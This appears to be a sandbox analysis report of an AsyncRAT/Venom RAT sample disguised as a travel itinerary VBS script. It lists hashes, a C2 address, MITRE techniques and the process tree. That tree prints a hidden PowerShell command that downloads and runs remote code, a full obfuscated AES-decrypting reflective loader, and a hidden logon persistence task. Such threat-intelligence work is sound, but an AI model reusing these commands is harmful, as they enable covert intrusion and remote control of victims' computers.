asyncrat | f24da1d458f078adf96dca79955313eea5cfe7a6a36334b1352553a31928cec6

Analysis

max time kernel
126s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12/12/2024, 14:25

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General

Target

Round Trip Itinerary details.vbs
Size

78KB
MD5

ab631b79a8f6cc0f48e17765c33c8fee
SHA1

539298c574b25b70379fccd8c47c3dbee5184877
SHA256

f24da1d458f078adf96dca79955313eea5cfe7a6a36334b1352553a31928cec6
SHA512

0e5818d2c4eca342c7b8ece7c8f14028e34d00e2c83f0d3c72ceaeb0380fc568ceb02df8e5743b9a691d85cc462863bceb68ccb1cf499994fe0e523debe6e550
SSDEEP

1536:rtYq5Mv5eaBf+kvAQKCidRC0Xe6Tw/LP5KU52t+gN4:lmRea3vAWGOyZsu4

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

45.149.241.239:1978

Mutex

ewdlylafhlapsawrztd

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4780-64-0x000001FFF1CC0000-0x000001FFF1CD8000-memory.dmp	family_asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
33	4780	powershell.exe
40	4780	powershell.exe
44	4780	powershell.exe
45	4780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
116	powershell.exe
2256	powershell.exe
3872	powershell.exe
4780	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
116	powershell.exe
116	powershell.exe
2256	powershell.exe
2256	powershell.exe
3872	powershell.exe
3872	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	116	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeIncreaseQuotaPrivilege	3872	powershell.exe
Token: SeSecurityPrivilege	3872	powershell.exe
Token: SeTakeOwnershipPrivilege	3872	powershell.exe
Token: SeLoadDriverPrivilege	3872	powershell.exe
Token: SeSystemProfilePrivilege	3872	powershell.exe
Token: SeSystemtimePrivilege	3872	powershell.exe
Token: SeProfSingleProcessPrivilege	3872	powershell.exe
Token: SeIncBasePriorityPrivilege	3872	powershell.exe
Token: SeCreatePagefilePrivilege	3872	powershell.exe
Token: SeBackupPrivilege	3872	powershell.exe
Token: SeRestorePrivilege	3872	powershell.exe
Token: SeShutdownPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeSystemEnvironmentPrivilege	3872	powershell.exe
Token: SeRemoteShutdownPrivilege	3872	powershell.exe
Token: SeUndockPrivilege	3872	powershell.exe
Token: SeManageVolumePrivilege	3872	powershell.exe
Token: 33	3872	powershell.exe
Token: 34	3872	powershell.exe
Token: 35	3872	powershell.exe
Token: 36	3872	powershell.exe
Token: SeIncreaseQuotaPrivilege	3872	powershell.exe
Token: SeSecurityPrivilege	3872	powershell.exe
Token: SeTakeOwnershipPrivilege	3872	powershell.exe
Token: SeLoadDriverPrivilege	3872	powershell.exe
Token: SeSystemProfilePrivilege	3872	powershell.exe
Token: SeSystemtimePrivilege	3872	powershell.exe
Token: SeProfSingleProcessPrivilege	3872	powershell.exe
Token: SeIncBasePriorityPrivilege	3872	powershell.exe
Token: SeCreatePagefilePrivilege	3872	powershell.exe
Token: SeBackupPrivilege	3872	powershell.exe
Token: SeRestorePrivilege	3872	powershell.exe
Token: SeShutdownPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeSystemEnvironmentPrivilege	3872	powershell.exe
Token: SeRemoteShutdownPrivilege	3872	powershell.exe
Token: SeUndockPrivilege	3872	powershell.exe
Token: SeManageVolumePrivilege	3872	powershell.exe
Token: 33	3872	powershell.exe
Token: 34	3872	powershell.exe
Token: 35	3872	powershell.exe
Token: 36	3872	powershell.exe
Token: SeIncreaseQuotaPrivilege	3872	powershell.exe
Token: SeSecurityPrivilege	3872	powershell.exe
Token: SeTakeOwnershipPrivilege	3872	powershell.exe
Token: SeLoadDriverPrivilege	3872	powershell.exe
Token: SeSystemProfilePrivilege	3872	powershell.exe
Token: SeSystemtimePrivilege	3872	powershell.exe
Token: SeProfSingleProcessPrivilege	3872	powershell.exe
Token: SeIncBasePriorityPrivilege	3872	powershell.exe
Token: SeCreatePagefilePrivilege	3872	powershell.exe
Token: SeBackupPrivilege	3872	powershell.exe
Token: SeRestorePrivilege	3872	powershell.exe
Token: SeShutdownPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeSystemEnvironmentPrivilege	3872	powershell.exe
Token: SeRemoteShutdownPrivilege	3872	powershell.exe
Token: SeUndockPrivilege	3872	powershell.exe
Token: SeManageVolumePrivilege	3872	powershell.exe
Token: 33	3872	powershell.exe
Token: 34	3872	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4780	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 116	3124	WScript.exe	84
PID 3124 wrote to memory of 116	3124	WScript.exe	84
PID 3124 wrote to memory of 4524	3124	WScript.exe	95
PID 3124 wrote to memory of 4524	3124	WScript.exe	95
PID 4524 wrote to memory of 1480	4524	cmd.exe	97
PID 4524 wrote to memory of 1480	4524	cmd.exe	97
PID 4524 wrote to memory of 2256	4524	cmd.exe	98
PID 4524 wrote to memory of 2256	4524	cmd.exe	98
PID 2256 wrote to memory of 3872	2256	powershell.exe	99
PID 2256 wrote to memory of 3872	2256	powershell.exe	99
PID 2256 wrote to memory of 2432	2256	powershell.exe	101
PID 2256 wrote to memory of 2432	2256	powershell.exe	101
PID 2432 wrote to memory of 4052	2432	WScript.exe	102
PID 2432 wrote to memory of 4052	2432	WScript.exe	102
PID 4052 wrote to memory of 1216	4052	cmd.exe	104
PID 4052 wrote to memory of 1216	4052	cmd.exe	104
PID 4052 wrote to memory of 4780	4052	cmd.exe	105
PID 4052 wrote to memory of 4780	4052	cmd.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Round Trip Itinerary details.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xZeq9DIcMp8T9I70bsZRE1uAqlMKnnwxo9STrCb0BJQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSiqGPKdEt2A2oq502N0Dw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WbLZH=New-Object System.IO.MemoryStream(,$param_var); $YROuh=New-Object System.IO.MemoryStream; $FnRtc=New-Object System.IO.Compression.GZipStream($WbLZH, [IO.Compression.CompressionMode]::Decompress); $FnRtc.CopyTo($YROuh); $FnRtc.Dispose(); $WbLZH.Dispose(); $YROuh.Dispose(); $YROuh.ToArray();}function execute_function($param_var,$param2_var){ $JFUbC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vIQTp=$JFUbC.EntryPoint; $vIQTp.Invoke($null, $param2_var);}$LMlhd = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $LMlhd;$qwcXI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LMlhd).Split([Environment]::NewLine);foreach ($RYDhX in $qwcXI) { if ($RYDhX.StartsWith('qSryZxtgHRJoDBkXgCTa')) { $MiSte=$RYDhX.Substring(20); break; }}$payloads_var=[string[]]$MiSte.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_165_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_165.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3872
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_165.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2432
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_165.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4052
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xZeq9DIcMp8T9I70bsZRE1uAqlMKnnwxo9STrCb0BJQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSiqGPKdEt2A2oq502N0Dw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WbLZH=New-Object System.IO.MemoryStream(,$param_var); $YROuh=New-Object System.IO.MemoryStream; $FnRtc=New-Object System.IO.Compression.GZipStream($WbLZH, [IO.Compression.CompressionMode]::Decompress); $FnRtc.CopyTo($YROuh); $FnRtc.Dispose(); $WbLZH.Dispose(); $YROuh.Dispose(); $YROuh.ToArray();}function execute_function($param_var,$param2_var){ $JFUbC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vIQTp=$JFUbC.EntryPoint; $vIQTp.Invoke($null, $param2_var);}$LMlhd = 'C:\Users\Admin\AppData\Roaming\Windows_Log_165.bat';$host.UI.RawUI.WindowTitle = $LMlhd;$qwcXI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LMlhd).Split([Environment]::NewLine);foreach ($RYDhX in $qwcXI) { if ($RYDhX.StartsWith('qSryZxtgHRJoDBkXgCTa')) { $MiSte=$RYDhX.Substring(20); break; }}$payloads_var=[string[]]$MiSte.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:1216
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aa8efa56e1e40374bbd21e0e469dceb7

SHA1
33a592799d4898c6efdd29e132f2f76ec51dbc08

SHA256
25eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf

SHA512
ad6de575b83db36b239317e4c46a1eaeb0383d5909a12b69ee2b38798c2b5cb0d19b464f5689037501d20592d92c4d3d84f0e49fdb1c0648b6593481a183f096

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lyhmwg0p.1gt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
69KB

MD5
9a7ec81cc371860d03b51764e8eade97

SHA1
3a22f9120587dc2fc84765efde70586fd0775fdf

SHA256
20a77dbb7b4438cc9cfa45e1a3de33b7100b039ca7f8838a12d09273f55dbe3e

SHA512
9d3a4c525b0f811ab9fb57787c16ce32dcba714fea558c5f3364703a20f232ece58a83c0edf3294a62d92ce52b3878f50f1c30ef6687d1e37e855f0f069331bb

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_165.vbs

Filesize
115B

MD5
6b2203916f3eed5356bc4e70ddc3dc10

SHA1
cf7f4c3e5dac7ecbb14d5cdc0b4b8f7f4131cd86

SHA256
382d6d7ce066622687cef0cff35de6ffbb8b9090fc4de2fe208f9b7bc1a05223

SHA512
1757c68e4366a3ed681c28ac4b891c3616f3b225805a9dcdb9700d22819a69573d09f9c47800f7efc37acfa4aec76853c957a86f2f4d3a0346aa48419829e164

Download Submit
memory/116-12-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/116-17-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/116-14-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/116-13-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/116-0-0x00007FF80F383000-0x00007FF80F385000-memory.dmp

Filesize
8KB

Download
memory/116-11-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/116-10-0x0000020811F80000-0x0000020811FA2000-memory.dmp

Filesize
136KB

Download
memory/2256-32-0x00000255763E0000-0x0000025576424000-memory.dmp

Filesize
272KB

Download
memory/2256-33-0x0000025576850000-0x00000255768C6000-memory.dmp

Filesize
472KB

Download
memory/2256-34-0x0000025574210000-0x0000025574218000-memory.dmp

Filesize
32KB

Download
memory/2256-35-0x0000025574220000-0x0000025574232000-memory.dmp

Filesize
72KB

Download
memory/4780-64-0x000001FFF1CC0000-0x000001FFF1CD8000-memory.dmp

Filesize
96KB

Download